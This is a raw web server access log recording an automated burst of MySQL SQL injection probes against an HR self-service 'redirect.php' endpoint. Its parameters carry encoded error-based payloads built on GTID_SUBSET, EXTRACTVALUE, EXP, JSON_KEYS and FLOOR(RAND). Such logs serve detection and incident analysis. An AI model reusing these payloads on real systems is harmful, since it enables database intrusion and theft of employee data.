100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x36775930%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696b7066%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x736c5579%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x694d4648%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x736c5579%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x694d4648%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a5a746a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b547a79%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a5a746a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b547a79%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x33637271%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74716f5a%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x33637271%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74716f5a%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x55586170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30315941%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x55586170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30315941%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7a553373%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7536514f%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7a553373%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7536514f%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x777a6533%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70324977%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x777a6533%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70324977%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x39714e69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x366e6676%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x39714e69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x366e6676%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x73674c79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724d5039%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x73674c79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724d5039%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5a785575%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7038304e%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5a785575%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7038304e%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d6c474b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44686e31%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d6c474b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44686e31%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7835304e%2C%28NULL%29%2C0x70495038%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7835304e%2C%28NULL%29%2C0x70495038%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x56467844%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c624f75%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x56467844%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c624f75%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53387534%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f777848%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53387534%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f777848%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6c7a4a61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x767a5532%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6c7a4a61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x767a5532%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7871486f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54503455%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7871486f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54503455%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6d554571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77786c78%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6d554571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77786c78%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x78345230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d363331%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x78345230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d363331%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66393366%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72636275%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66393366%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72636275%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
